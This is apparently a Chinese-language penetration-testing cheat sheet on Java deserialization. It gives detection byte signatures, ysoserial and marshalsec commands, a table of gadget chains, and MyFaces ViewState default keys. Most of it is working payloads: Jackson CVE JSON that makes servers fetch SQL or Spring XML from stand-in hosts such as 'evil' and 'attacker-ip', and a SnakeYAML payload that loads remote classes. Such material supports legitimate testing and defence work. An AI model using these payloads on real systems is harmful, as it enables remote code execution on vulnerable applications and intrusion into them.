跳转至

Java 反序列化 (Java Deserialization)

Java 序列化是将 Java 对象的状态转换为字节流的过程,该字节流可以被存储或传输,随后可以重新构造(反序列化)回原始对象。Java 中的序列化主要通过 Serializable 接口完成,该接口将一个类标记为可序列化的,从而允许其保存到文件、通过网络发送或在 JVM 之间传输。

摘要 (Summary)

检测 (Detection)

  • 十六进制中的 "AC ED 00 05"
    • AC ED:STREAM_MAGIC。指定这是一个序列化协议。
    • 00 05:STREAM_VERSION。序列化版本。
  • Base64 中的 "rO0"
  • Content-Type = "application/x-java-serialized-object"
  • gzip(base64) 中的 "H4sIAAAAAAAAAJ"

工具 (Tools)

Ysoserial

frohoff/ysoserial :一个用于生成利用不安全 Java 对象反序列化漏洞的 Payload 的概念验证工具。

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64

ysoserial 中包含的 Payload 列表:

Payload 作者 依赖项
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

Burp 扩展 (Burp extensions)

备选工具 (Alternative Tooling)

java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - 生成/测试该格式化程序的所有 payload
// -t - 以测试模式运行,在生成后反序列化生成的 payload。
// -v - 详细模式,例如在测试模式下也显示生成的 payload。
// gadget_type - 特定 gadget 的标识符,如果省略,将显示该特定格式化程序可用的 gadget。
// arguments - Gadget 特定的参数

包含以下格式化程序的 Payload 生成器:

格式化程序 (Marshaller) Gadget 影响
BlazeDSAMF(0|3|X) 仅限 JDK,提升至 Java 序列化各种第三方库 RCE
Hessian|Burlap 各种第三方 RCE
Castor 依赖项库 RCE
Jackson 可能仅限 JDK RCE,各种第三方 RCE
Java 另一个第三方 RCE
JsonIO 仅限 JDK RCE
JYAML 仅限 JDK RCE
Kryo 第三方 RCE
KryoAltStrategy 仅限 JDK RCE
Red5AMF(0|3) 仅限 JDK RCE
SnakeYAML 仅限 JDK RCE
XStream 仅限 JDK RCE
YAMLBeans 第三方 RCE

JSON 反序列化 (JSON Deserialization)

可以使用多个库来处理 Java 中的 JSON。

Jackson:

Jackson 是一个流行的 Java 库,用于处理 JSON(JavaScript 对象表示法)数据。 Jackson-databind 支持多态类型处理 (Polymorphic Type Handling, PTH),以前称为“多态反序列化”,该功能默认是禁用的。

要确定后端是否使用 Jackson,最常用的技术是发送一个无效的 JSON 并检查错误消息。查找其中任何一个引用:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

漏洞利用 (Exploitation):

  • CVE-2017-7525

json { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw==" ], "transletName": "a.b", "outputProperties": {} } ] }

  • CVE-2017-17485
{
  "param": [
    "org.springframework.context.support.FileSystemXmlApplicationContext",
    "http://evil/spel.xml"
  ]
}
  • CVE-2019-12384
[
  "ch.qos.logback.core.db.DriverManagerConnectionSource", 
  {
    "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
  }
]
  • CVE-2020-36180
[
  "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
  {
    "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
  }
]
  • CVE-2020-9548

    [
      "br.com.anteros.dbcp.AnterosDBCPConfig",
      {
        "healthCheckRegistry": "ldap://{{interactsh-url}}"
      }
    ]
    

YAML 反序列化 (YAML Deserialization)

SnakeYAML:

SnakeYAML 是一个流行的基于 Java 的库,用于解析和发射 YAML(YAML Ain't Markup Language)数据。它为处理 YAML 提供了一个易于使用的 API。YAML 是一种人类可读的数据序列化标准,通常用于配置文件和数据交换。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker-ip/"]
  ]]
]

ViewState

在 Java 中,ViewState 指的是 JavaServer Faces (JSF) 等框架在 Web 应用程序的 HTTP 请求之间维护 UI 组件状态的机制。主要有两种实现:

  • Oracle Mojarra (JSF 参考实现)
  • Apache MyFaces

工具:

编码 (Encoding)

编码 开头为
base64 rO0
base64 + gzip H4sIAAA

存储 (Storage)

javax.faces.STATE_SAVING_METHOD 是 JavaServer Faces (JSF) 中的一个配置参数。它指定框架应如何在 HTTP 请求之间保存组件树(页面上 UI 组件的结构和数据)的状态。

存储方法也可以从 HTML 正文中的 ViewState 表示形式推断出来。

  • 服务端存储:value="-XXX:-XXXX"
  • 客户端存储:base64 + gzip + Java Object

加密 (Encryption)

默认情况下,MyFaces 使用 DES 作为加密算法,并使用 HMAC-SHA1 来对 ViewState 进行身份验证。配置更新的算法(如 AES 和 HMAC-SHA256)是可能且推荐的。

加密算法 HMAC
DES ECB (默认) HMAC-SHA1

支持的加密方法有 BlowFish, 3DES, AES,并由上下文参数定义。 这些参数的值及其密钥可以在以下 XML 子句中找到。

<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>   
<param-name>org.apache.myfaces.SECRET</param-name>   
<param-name>org.apache.myfaces.MAC_SECRET</param-name>

来自 文档 的常见密钥。

名称
AES CBC/PKCS5Padding NzY1NDMyMTA3NjU0MzIxMA==
DES NzY1NDMyMTA=<
DESede MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
Blowfish NzY1NDMyMTA3NjU0MzIxMA
AES CBC MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
AES CBC IV NzY1NDMyMTA3NjU0MzIxMA==
  • 加密过程:Data -> 加密 -> hmac_sha1 签名 -> b64 编码 -> url 编码 -> ViewState
  • 解密过程:ViewState -> url 解码 -> b64 解码 -> hmac_sha1 验证签名 -> 解密 -> Data

参考资料 (References)